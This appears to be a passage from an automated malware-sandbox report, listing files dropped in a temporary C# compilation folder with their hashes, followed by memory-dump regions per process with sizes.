SHA256adec4572c7734dd58e7b3b6d10cd6756f2d6b3e643aef3dafb014fda5b724a84
SHA51237d18aa16c4b39e63a9af01898d833bf245166f98e24f4f02b5e7ac8d48e8808ca67085d3ffc8f83f1b40ef69cb05649b1353b93452138b8483a8835c0dd548a
-
\??\c:\Users\Admin\AppData\Local\Temp\wdcktwgy\CSC9A1AF47670A34C5ABEB2653313BDF4DC.TMPFilesize
652B
MD53ed328d8e068a9c2d52ec26c6eceb4c2
SHA1480e3215ab4abdd2d6b9fb9e6211a6b0501214f2
SHA25612ea06829b168d20864f0d3d285607faf7f1ad118854dfea76d57983c4f853d3
SHA5124bdafb6f1376a08da3c210ed08e8eb9ef894af4c04f2b0619826caac61861002b61a89b2374e3d077fb61b38cf430b1273be62a0ef2581304aad2e0deb9bc51b
-
\??\c:\Users\Admin\AppData\Local\Temp\wdcktwgy\wdcktwgy.0.csFilesize
406B
MD5ca8887eacd573690830f71efaf282712
SHA10acd4f49fc8cf6372950792402ec3aeb68569ef8
SHA256568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3
SHA5122a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7
-
\??\c:\Users\Admin\AppData\Local\Temp\wdcktwgy\wdcktwgy.cmdlineFilesize
369B
MD5ca375449e553450ea318363ddca24ccc
SHA184e5bfd150c46bdab439c445cb35f696e55a7fc1
SHA256800dd249c120309b69c5db83782406be70ebd43112991c1c5b4f7b944dcfd7d6
SHA5121b8a4104acbc8a3d5806477e2d1fa47931a67b0eafdb3dae825dcf57ee75a4d28055e6f6f850319ff02c1d84e55abcc1b9a3dda667316d28b1c249f5c2d0855f
-
memory/440-106-0x0000021E6BA30000-0x0000021E6BA31000-memory.dmpFilesize
4KB
-
memory/440-104-0x0000021E6BB80000-0x0000021E6BC24000-memory.dmpFilesize
656KB
-
memory/440-118-0x0000021E6BB80000-0x0000021E6BC24000-memory.dmpFilesize
656KB
-
memory/532-69-0x00007FFEAC5E0000-0x00007FFEAD0A1000-memory.dmpFilesize
10.8MB
-
memory/532-56-0x000001722C0D0000-0x000001722C10D000-memory.dmpFilesize
244KB
-
memory/532-27-0x000001722BD20000-0x000001722BD30000-memory.dmpFilesize
64KB
-
memory/532-26-0x000001722BD20000-0x000001722BD30000-memory.dmpFilesize
64KB
-
memory/532-25-0x00007FFEAC5E0000-0x00007FFEAD0A1000-memory.dmpFilesize
10.8MB
-
memory/532-15-0x000001722BD30000-0x000001722BD52000-memory.dmpFilesize
136KB
-
memory/532-54-0x000001722C0C0000-0x000001722C0C8000-memory.dmpFilesize
32KB
-
memory/532-70-0x000001722C0D0000-0x000001722C10D000-memory.dmpFilesize
244KB
-
memory/532-40-0x000001722C0A0000-0x000001722C0A8000-memory.dmpFilesize
32KB
-
memory/1800-117-0x000001EF25410000-0x000001EF254B4000-memory.dmpFilesize
656KB
-
memory/1800-83-0x000001EF25410000-0x000001EF254B4000-memory.dmpFilesize
656KB
-
memory/1800-84-0x000001EF25220000-0x000001EF25221000-memory.dmpFilesize
4KB
-
memory/3148-120-0x0000021015140000-0x00000210151E4000-memory.dmpFilesize
656KB
-
memory/3148-99-0x0000021014D90000-0x0000021014D91000-memory.dmpFilesize
4KB
-
memory/3148-95-0x0000021015140000-0x00000210151E4000-memory.dmpFilesize
656KB
-
memory/3176-58-0x0000000008720000-0x00000000087C4000-memory.dmpFilesize
656KB
-
memory/3176-96-0x0000000008720000-0x00000000087C4000-memory.dmpFilesize
656KB
-
memory/3176-59-0x00000000027A0000-0x00000000027A1000-memory.dmpFilesize
4KB
-
memory/3752-109-0x0000019CB2B00000-0x0000019CB2BA4000-memory.dmpFilesize
656KB
-
memory/3752-72-0x0000019CB2B00000-0x0000019CB2BA4000-memory.dmpFilesize
656KB
-
memory/3752-73-0x0000019CB24E0000-0x0000019CB24E1000-memory.dmpFilesize
4KB
-
memory/3840-105-0x00000000006F0000-0x0000000000788000-memory.dmpFilesize
608KB
-
memory/3840-114-0x00000000006F0000-0x0000000000788000-memory.dmpFilesize
608KB
-
memory/3840-112-0x0000000000540000-0x0000000000541000-memory.dmpFilesize
4KB
-
memory/3840-115-0x00000000006F0000-0x0000000000788000-memory.dmpFilesize
608KB
-
memory/3952-79-0x000001D689FD0000-0x000001D689FD1000-memory.dmpFilesize
4KB
-
memory/3952-78-0x000001D68A010000-0x000001D68A0B4000-memory.dmpFilesize
656KB
-
memory/3952-116-0x000001D68A010000-0x000001D68A0B4000-memory.dmpFilesize
656KB
-
memory/4060-5-0x0000000000400000-0x000000000040F000-memory.dmpFilesize
60KB
-
memory/4060-1-0x0000000001210000-0x000000000121C000-memory.dmpFilesize
48KB
-
memory/4060-0-0x0000000002E90000-0x0000000002E9F000-memory.dmpFilesize
60KB
-
memory/4060-11-0x0000000002F00000-0x0000000002F0D000-memory.dmpFilesize
52KB
-
memory/4792-89-0x0000020B4D450000-0x0000020B4D4F4000-memory.dmpFilesize
656KB
-
memory/4792-90-0x0000020B4CBF0000-0x0000020B4CBF1000-memory.dmpFilesize
4KB
-
memory/4792-119-0x0000020B4D450000-0x0000020B4D4F4000-memory.dmpFilesize
656KB